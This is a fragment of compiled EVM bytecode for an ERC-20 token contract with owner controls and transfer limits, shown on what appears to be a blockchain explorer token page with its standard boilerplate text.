00000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156125605780860481111561253c5761253b6124de565b5b600185161561254b5780820291505b80810290506125598561250b565b9450612520565b94509492505050565b5f826125785760019050612633565b81612585575f9050612633565b816001811461259b57600281146125a5576125d4565b6001915050612633565b60ff8411156125b7576125b66124de565b5b8360020a9150848211156125ce576125cd6124de565b5b50612633565b5060208310610133831016604e8410600b84101617156126095782820a905083811115612604576126036124de565b5b612633565b6126168484846001612517565b9250905081840481111561262d5761262c6124de565b5b81810290505b9392505050565b5f612644826122c4565b915061264f836123e0565b925061267c7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612569565b905092915050565b5f61268e826122c4565b9150612699836122c4565b92508282026126a7816122c4565b915082820484148315176126be576126bd6124de565b5b5092915050565b7f6f776e6572206973206e6f7420617661696c61626c65000000000000000000005f82015250565b5f6126f96016836121e0565b9150612704826126c5565b602082019050919050565b5f6020820190508181035f830152612726816126ed565b9050919050565b5f8151905061273b8161229a565b92915050565b5f6020828403121561275657612755612266565b5b5f6127638482850161272d565b91505092915050565b5f60408201905061277f5f83018561243f565b61278c602083018461243f565b9392505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6127ca826122c4565b91506127d5836122c4565b9250826127e5576127e4612793565b5b828204905092915050565b5f819050919050565b5f819050919050565b5f61281c612817612812846127f0565b6127f9565b6122c4565b9050919050565b61282c81612802565b82525050565b5f60c0820190506128455f83018961243f565b6128526020830188612368565b61285f6040830187612823565b61286c6060830186612823565b612879608083018561243f565b61288660a0830184612368565b979650505050505050565b5f8151905061289f816122cd565b92915050565b5f805f606084860312156128bc576128bb612266565b5b5f6128c986828701612891565b93505060206128da86828701612891565b92505060406128eb86828701612891565b9150509250925092565b5f6040820190506129085f83018561243f565b6129156020830184612368565b9392505050565b61292581612335565b811461292f575f80fd5b50565b5f815190506129408161291c565b92915050565b5f6020828403121561295b5761295a612266565b5b5f61296884828501612932565b91505092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f6129cb6026836121e0565b91506129d682612971565b604082019050919050565b5f6020820190508181035f8301526129f8816129bf565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612a596024836121e0565b9150612a64826129ff565b604082019050919050565b5f6020820190508181035f830152612a8681612a4d565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612ae76022836121e0565b9150612af282612a8d565b604082019050919050565b5f6020820190508181035f830152612b1481612adb565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612b4f6020836121e0565b9150612b5a82612b1b565b602082019050919050565b5f6020820190508181035f830152612b7c81612b43565b9050919050565b7f6e6f7420737461727465642079657400000000000000000000000000000000005f82015250565b5f612bb7600f836121e0565b9150612bc282612b83565b602082019050919050565b5f6020820190508181035f830152612be481612bab565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612c456025836121e0565b9150612c5082612beb565b604082019050919050565b5f6020820190508181035f830152612c7281612c39565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612cd36023836121e0565b9150612cde82612c79565b604082019050919050565b5f6020820190508181035f830152612d0081612cc7565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f612d616029836121e0565b9150612d6c82612d07565b604082019050919050565b5f6020820190508181035f830152612d8e81612d55565b9050919050565b5f612d9f826122c4565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612dd157612dd06124de565b5b600182019050919050565b5f612de6826122c4565b9150612df1836122c4565b9250828201905080821115612e0957612e086124de565b5b92915050565b7f4578636565647320746865205f6d6178416d6f756e7453697a652e00000000005f82015250565b5f612e43601b836121e0565b9150612e4e82612e0f565b602082019050919050565b5f6020820190508181035f830152612e7081612e37565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320615f8201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b5f612ed16028836121e0565b9150612edc82612e77565b604082019050919050565b5f6020820190508181035f830152612efe81612ec5565b9050919050565b5f612f0f826122c4565b9150612f1a836122c4565b9250828203905081811115612f3257612f316124de565b5b92915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f612f926021836121e0565b9150612f9d82612f38565b604082019050919050565b5f6020820190508181035f830152612fbf81612f86565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b61305281612289565b82525050565b5f6130638383613049565b60208301905092915050565b5f602082019050919050565b5f61308582613020565b61308f818561302a565b935061309a8361303a565b805f5b838110156130ca5781516130b18882613058565b97506130bc8361306f565b92505060018101905061309d565b5085935050505092915050565b5f60a0820190506130ea5f830188612368565b6130f76020830187612823565b8181036040830152613109818661307b565b9050613118606083018561243f565b6131256080830184612368565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f613163601b836121e0565b915061316e8261312f565b602082019050919050565b5f6020820190508181035f83015261319081613157565b905091905056fea2646970667358221220527bdd065b52ff71f323e137d28cf1385a62e03f19ec84f4724ed8e069b40b5564736f6c634300081a0033

Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.